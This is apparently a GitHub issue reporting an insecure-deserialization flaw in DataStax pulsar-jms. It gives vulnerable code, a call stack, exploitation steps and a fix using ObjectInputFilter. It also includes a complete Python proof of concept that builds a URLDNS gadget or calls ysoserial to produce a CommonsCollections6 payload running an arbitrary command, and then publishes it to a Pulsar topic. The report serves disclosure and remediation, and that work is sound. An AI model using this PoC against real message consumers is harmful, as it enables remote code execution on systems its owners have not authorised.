Insecure Deserialization Leading to RCE

 
## Summary

DataStax pulsar-jms, a JMS 2.0/3.0 client implementation for Apache Pulsar, deserializes ObjectMessage payloads using `java.io.ObjectInputStream` without any class filtering or type restrictions. An attacker who can publish messages to a Pulsar topic consumed by a JMS consumer can achieve Remote Code Execution (RCE) on the consumer by sending a crafted serialized Java object containing a known gadget chain.

## Affected Project

- **Maven Coordinates**: `com.datastax.oss:pulsar-jms`
- **Affected Versions**: All released versions through 9.0.3 (current latest). The vulnerability exists since the initial implementation of `PulsarObjectMessage` and remains unpatched as of the master branch (`9.0.4-SNAPSHOT`).
- **CWE**: CWE-502 (Deserialization of Untrusted Data)

## CVSS 3.1

- **Score**: 8.8 (High)
- **Vector**: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`

| Metric | Value | Rationale |
|--------|-------|-----------|
| Attack Vector | Network | Pulsar protocol over TCP |
| Attack Complexity | Low | Single message triggers deserialization |
| Privileges Required | Low | Producer permission to the target topic (many clusters run without authentication) |
| User Interaction | None | Consumer processes messages automatically |
| Scope | Unchanged | Executes in the consumer JVM |
| Confidentiality | High | Arbitrary code execution |
| Integrity | High | Arbitrary code execution |
| Availability | High | Arbitrary code execution |

## Impact

An attacker with Pulsar producer access to a topic consumed by a pulsar-jms JMS consumer can execute arbitrary code in the consumer's JVM process. This can lead to full system compromise, data exfiltration, lateral movement, or denial of service. The attack requires no user interaction and is triggered automatically when the consumer receives the message.

## Prerequisites

1. The target application uses `com.datastax.oss:pulsar-jms` as a JMS consumer.
2. The attacker can publish messages to a Pulsar topic that the JMS consumer subscribes to.
3. A deserialization gadget chain (e.g., Commons Collections, Commons BeanUtils) exists on the consumer's classpath.

## Sink Code

**File**: `pulsar-jms/src/main/java/com/datastax/oss/pulsar/jms/messages/PulsarObjectMessage.java`
**Lines**: 43-53

```java
private static Serializable decode(byte[] originalMessage) throws JMSException {
    if (originalMessage == null) {
      return null;
    }
    try {
      ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(originalMessage));
      return (Serializable) input.readUnshared();  // <-- No ObjectInputFilter, no class allowlist
    } catch (Exception err) {
      throw Utils.handleException(err);
    }
}
```

The `ObjectInputStream` is instantiated without any `ObjectInputFilter` or custom `resolveClass()` override. Any serialized Java object on the classpath can be deserialized.

## Source Code

**File**: `pulsar-jms/src/main/java/com/datastax/oss/pulsar/jms/PulsarMessage.java`
**Lines**: 1314-1342

```java
static PulsarMessage decode(
    PulsarMessageConsumer consumer,
    Consumer<?> pulsarConsumer,
    org.apache.pulsar.client.api.Message<?> msg)
    throws JMSException {
  // ...
  Object value = msg.getValue();
  if (value instanceof byte[] || value == null) {
    String type = msg.getProperty(
        SystemMessageProperty.JMSPulsarMessageType.toString());
    if (type == null) {
      type = "bytes";
    }
    byte[] valueAsArray = (byte[]) value;
    switch (type) {
      // ...
      case "object":
        return new PulsarObjectMessage(valueAsArray)  // <-- Attacker-controlled bytes
            .applyMessage(msg, consumer, pulsarConsumer);
      // ...
    }
  }
}
```

The message type is determined by the `JMSPulsarMessageType` message property, which is set by the producer. When the property value is `"object"`, the raw message payload bytes are passed directly to `PulsarObjectMessage(byte[])`, which calls the vulnerable `decode()` method.

**File**: `pulsar-jms/src/main/java/com/datastax/oss/pulsar/jms/PulsarMessageConsumer.java`
**Line**: 411

```java
PulsarMessage result = PulsarMessage.decode(this, consumer, message);
```

This is the entry point where received Pulsar messages are decoded into JMS messages.

## Call Stack

```
Attacker (Pulsar Producer)
  └─ sends message with property JMSPulsarMessageType=object, payload=serialized gadget
      │
Consumer receives message from Pulsar topic
  └─ PulsarMessageConsumer.handleReceivedMessage()     [PulsarMessageConsumer.java:402]
      └─ PulsarMessage.decode(consumer, pulsarConsumer, msg)  [PulsarMessage.java:1314]
          └─ type = msg.getProperty("JMSPulsarMessageType")   [PulsarMessage.java:1324]
              └─ case "object":                                [PulsarMessage.java:1332]
                  └─ new PulsarObjectMessage(valueAsArray)     [PulsarMessage.java:1333]
                      └─ PulsarObjectMessage(byte[])           [PulsarObjectMessage.java:39]
                          └─ decode(originalMessage)           [PulsarObjectMessage.java:43]
                              └─ new ObjectInputStream(...)    [PulsarObjectMessage.java:48]
                                  └─ input.readUnshared()      [PulsarObjectMessage.java:49]
                                      └─ gadget chain triggers → RCE
```

## Exploitation Steps

1. Start a Pulsar producer client targeting the same topic the JMS consumer subscribes to.
2. Construct a serialized Java object payload using a gadget chain available on the consumer's classpath (e.g., Commons Collections CC6 for `commons-collections:3.x`).
3. Publish a Pulsar message with:
   - Property `JMSPulsarMessageType` set to `object`
   - Message body set to the serialized gadget payload bytes
4. The JMS consumer automatically receives the message, enters the `case "object"` branch, and passes the payload to `ObjectInputStream.readUnshared()`.
5. The gadget chain executes, achieving arbitrary command execution on the consumer host.

## Dynamic Verification

**Environment**: Apache Pulsar 3.3.0 standalone (Docker) + pulsar-jms 7.0.2 + commons-collections 3.2.1 (CC6 chain) + JDK 11.0.26

**Result**: The PoC producer sent a 1,336-byte malicious ObjectMessage. The JMS consumer deserialized it, triggering the CC6 gadget chain which executed `touch /tmp/pulsar_jms_pwned_<marker>`. The marker file was confirmed on disk.

## PoC

See `poc_pulsar_jms_deser.py` (attached). The PoC:
1. Generates a URLDNS gadget payload (Java serialization format) targeting a configurable DNS canary domain
2. Publishes the payload to a Pulsar topic with the `JMSPulsarMessageType=object` property
3. When a pulsar-jms consumer receives the message, it triggers a DNS lookup to the canary domain, confirming deserialization

For RCE verification, replace the URLDNS payload with a CC6/CC7 gadget chain generated by ysoserial (requires `commons-collections` on the consumer classpath).

```
#!/usr/bin/env python3
"""
PoC: Insecure Deserialization RCE in DataStax pulsar-jms (CWE-502)

Generates a URLDNS Java deserialization gadget payload and publishes it
to a Pulsar topic as a JMS ObjectMessage. When a pulsar-jms consumer
receives the message, it deserializes the payload without filtering,
triggering a DNS lookup to the specified canary domain.

For RCE, replace the URLDNS payload with a CC6/CC7 chain from ysoserial
(requires commons-collections on the consumer classpath).

Requirements:
    pip install pulsar-client

Usage:
    # 1. Start Pulsar standalone
    docker run -d --name pulsar -p 6650:6650 -p 8080:8080 \
        apachepulsar/pulsar:3.3.0 bin/pulsar standalone

    # 2. Start a JMS consumer (Java, using pulsar-jms with commons-collections)

    # 3. Run this PoC (URLDNS mode - safe, only triggers DNS)
    python3 poc_pulsar_jms_deser.py --url pulsar://localhost:6650 \
        --topic persistent://public/default/test-topic \
        --dns-canary your-canary.oastify.com

    # 4. For RCE mode (requires ysoserial.jar):
    python3 poc_pulsar_jms_deser.py --url pulsar://localhost:6650 \
        --topic persistent://public/default/test-topic \
        --ysoserial /path/to/ysoserial.jar \
        --gadget CommonsCollections6 \
        --cmd "touch /tmp/pwned"
"""

import argparse
import hashlib
import io
import struct
import subprocess
import sys
import tempfile


# ---------------------------------------------------------------------------
# Java serialization constants
# ---------------------------------------------------------------------------
STREAM_MAGIC = b"\xac\xed"
STREAM_VERSION = b"\x00\x05"
TC_OBJECT = b"\x73"
TC_CLASSDESC = b"\x72"
TC_NULL = b"\x70"
TC_REFERENCE = b"\x71"
TC_STRING = b"\x74"
TC_BLOCKDATA = b"\x77"
TC_ENDBLOCKDATA = b"\x78"
SC_SERIALIZABLE = 0x02
SC_WRITE_METHOD = 0x03
BASE_HANDLE = 0x7E0000


def _utf(s: str) -> bytes:
    encoded = s.encode("utf-8")
    return struct.pack(">H", len(encoded)) + encoded


def _long(v: int) -> bytes:
    return struct.pack(">q", v)


def _int(v: int) -> bytes:
    return struct.pack(">i", v)


def _serial_uid(cls_name: str, uid: int) -> bytes:
    return _long(uid)


def build_urldns_payload(canary_domain: str) -> bytes:
    """
    Build a URLDNS gadget payload (Java serialization format).

    Gadget chain:
        HashMap.readObject()
          -> HashMap.hash()
            -> URL.hashCode()
              -> URLStreamHandler.hashCode()
                -> URLStreamHandler.getHostAddress()
                  -> InetAddress.getByName(canary_domain)  // DNS lookup

    This is a safe detection gadget -- it only triggers a DNS lookup,
    no code execution.
    """
    url_string = f"http://{canary_domain}"
    buf = io.BytesIO()

    buf.write(STREAM_MAGIC)
    buf.write(STREAM_VERSION)

    # --- HashMap object ---
    buf.write(TC_OBJECT)
    # ClassDesc for java.util.HashMap
    buf.write(TC_CLASSDESC)
    buf.write(_utf("java.util.HashMap"))
    buf.write(_long(362498820763181265))  # serialVersionUID
    buf.write(bytes([SC_WRITE_METHOD | SC_SERIALIZABLE]))
    # fields: int loadFactor (F), float threshold (I)
    buf.write(struct.pack(">H", 2))  # 2 fields
    # Field 1: float loadFactor
    buf.write(b"F")  # typecode float
    buf.write(_utf("loadFactor"))
    # Field 2: int threshold
    buf.write(b"I")  # typecode int
    buf.write(_utf("threshold"))
    buf.write(TC_ENDBLOCKDATA)  # classAnnotation
    buf.write(TC_NULL)  # superClassDesc
    # handle 0x7e0000 = HashMap class desc
    # handle 0x7e0001 = HashMap instance

    # --- HashMap instance data ---
    # float loadFactor = 0.75
    buf.write(struct.pack(">f", 0.75))
    # int threshold = 0
    buf.write(_int(0))
    # writeObject block data: int capacity, int size
    buf.write(TC_BLOCKDATA)
    buf.write(bytes([8]))  # block length
    buf.write(_int(16))  # capacity
    buf.write(_int(1))  # size (1 entry)

    # --- Key: java.net.URL object ---
    buf.write(TC_OBJECT)
    buf.write(TC_CLASSDESC)
    buf.write(_utf("java.net.URL"))
    buf.write(_long(-7627629688361524110))  # serialVersionUID
    buf.write(bytes([SC_WRITE_METHOD | SC_SERIALIZABLE]))
    # fields
    buf.write(struct.pack(">H", 7))  # 7 fields
    # int hashCode
    buf.write(b"I")
    buf.write(_utf("hashCode"))
    # int port
    buf.write(b"I")
    buf.write(_utf("port"))
    # String authority
    buf.write(b"L")
    buf.write(_utf("authority"))
    buf.write(TC_STRING)
    buf.write(_utf("Ljava/lang/String;"))
    # String file
    buf.write(b"L")
    buf.write(_utf("file"))
    buf.write(TC_REFERENCE)
    buf.write(_int(BASE_HANDLE + 6))  # ref to String type
    # String host
    buf.write(b"L")
    buf.write(_utf("host"))
    buf.write(TC_REFERENCE)
    buf.write(_int(BASE_HANDLE + 6))
    # String protocol
    buf.write(b"L")
    buf.write(_utf("protocol"))
    buf.write(TC_REFERENCE)
    buf.write(_int(BASE_HANDLE + 6))
    # String ref
    buf.write(b"L")
    buf.write(_utf("ref"))
    buf.write(TC_REFERENCE)
    buf.write(_int(BASE_HANDLE + 6))

    buf.write(TC_ENDBLOCKDATA)  # classAnnotation
    buf.write(TC_NULL)  # superClassDesc
    # handle 0x7e0002 = URL class desc
    # handle 0x7e0003 = "java.net.URL" string ... actually we need to track

    # URL instance data
    buf.write(_int(-1))  # hashCode = -1 (triggers recalculation on readObject)
    buf.write(_int(-1))  # port = -1
    # authority
    buf.write(TC_STRING)
    buf.write(_utf(canary_domain))
    # file
    buf.write(TC_STRING)
    buf.write(_utf(""))
    # host
    buf.write(TC_STRING)
    buf.write(_utf(canary_domain))
    # protocol
    buf.write(TC_STRING)
    buf.write(_utf("http"))
    # ref
    buf.write(TC_NULL)

    # URL writeObject: no extra block data
    buf.write(TC_ENDBLOCKDATA)

    # --- Value for the HashMap entry ---
    buf.write(TC_STRING)
    buf.write(_utf("pwned"))

    # End of HashMap entries
    buf.write(TC_ENDBLOCKDATA)

    return buf.getvalue()


def build_ysoserial_payload(jar_path: str, gadget: str, cmd: str) -> bytes:
    """Generate a payload using ysoserial JAR (for RCE)."""
    result = subprocess.run(
        ["java", "-jar", jar_path, gadget, cmd],
        capture_output=True,
    )
    if result.returncode != 0:
        print(f"[!] ysoserial failed: {result.stderr.decode()}", file=sys.stderr)
        sys.exit(1)
    return result.stdout


def send_payload(pulsar_url: str, topic: str, payload: bytes) -> None:
    """Send the serialized payload to a Pulsar topic as a JMS ObjectMessage."""
    try:
        import pulsar
    except ImportError:
        print("[!] pulsar-client not installed. Run: pip install pulsar-client",
              file=sys.stderr)
        sys.exit(1)

    client = pulsar.Client(pulsar_url)
    producer = client.create_producer(topic)

    producer.send(
        content=payload,
        properties={"JMSPulsarMessageType": "object"},
    )
    print(f"[+] Sent {len(payload)} bytes to {topic}")
    print(f"[+] Property: JMSPulsarMessageType=object")

    producer.close()
    client.close()


def main():
    parser = argparse.ArgumentParser(
        description="PoC: Insecure Deserialization in DataStax pulsar-jms"
    )
    parser.add_argument(
        "--url", default="pulsar://localhost:6650",
        help="Pulsar service URL (default: pulsar://localhost:6650)"
    )
    parser.add_argument(
        "--topic", default="persistent://public/default/jms-test",
        help="Target Pulsar topic"
    )
    parser.add_argument(
        "--dns-canary",
        help="DNS canary domain for URLDNS gadget (safe, DNS-only)"
    )
    parser.add_argument(
        "--ysoserial",
        help="Path to ysoserial.jar for RCE gadgets"
    )
    parser.add_argument(
        "--gadget", default="CommonsCollections6",
        help="ysoserial gadget name (default: CommonsCollections6)"
    )
    parser.add_argument(
        "--cmd", default="touch /tmp/pulsar_jms_pwned",
        help="Command to execute (ysoserial mode)"
    )
    parser.add_argument(
        "--output-file",
        help="Write payload to file instead of sending to Pulsar"
    )

    args = parser.parse_args()

    if not args.dns_canary and not args.ysoserial:
        parser.error("Specify --dns-canary (safe) or --ysoserial (RCE)")

    if args.ysoserial:
        print(f"[*] Generating {args.gadget} payload: {args.cmd}")
        payload = build_ysoserial_payload(args.ysoserial, args.gadget, args.cmd)
    else:
        print(f"[*] Generating URLDNS payload for {args.dns_canary}")
        payload = build_urldns_payload(args.dns_canary)

    print(f"[*] Payload size: {len(payload)} bytes")

    if args.output_file:
        with open(args.output_file, "wb") as f:
            f.write(payload)
        print(f"[+] Payload written to {args.output_file}")
    else:
        send_payload(args.url, args.topic, payload)
        if args.dns_canary:
            print(f"[*] Check DNS logs for {args.dns_canary}")
        else:
            print(f"[*] Check consumer host for command execution")


if __name__ == "__main__":
    main()

```

## Remediation

Apply `ObjectInputFilter` (JEP 290, available since JDK 9) to restrict deserializable classes to a known-safe allowlist before calling `readUnshared()`. For example:

```java
ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(originalMessage));
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.lang.*;java.util.*;!*");
input.setObjectInputFilter(filter);
return (Serializable) input.readUnshared();
```

Alternatively, consider replacing native Java serialization with a safer format (JSON, Avro, Protobuf) for ObjectMessage transport.

## References

- Similar vulnerabilities in other JMS implementations:
  - Apache ActiveMQ: CVE-2015-5254
  - RabbitMQ JMS: CVE-2020-36282


Navigation Menu

Insecure Deserialization Leading to RCE #210

Summary

Affected Project

CVSS 3.1

Impact

Prerequisites

Sink Code

Source Code

Call Stack

Exploitation Steps

Dynamic Verification

PoC

Remediation

References

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Metric	Value	Rationale
Attack Vector	Network	Pulsar protocol over TCP
Attack Complexity	Low	Single message triggers deserialization
Privileges Required	Low	Producer permission to the target topic (many clusters run without authentication)
User Interaction	None	Consumer processes messages automatically
Scope	Unchanged	Executes in the consumer JVM
Confidentiality	High	Arbitrary code execution
Integrity	High	Arbitrary code execution
Availability	High	Arbitrary code execution

Insecure Deserialization Leading to RCE #210

Description

Summary

Affected Project

CVSS 3.1

Impact

Prerequisites

Sink Code

Source Code

Call Stack

Exploitation Steps

Dynamic Verification

PoC

Remediation

References

Activity

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions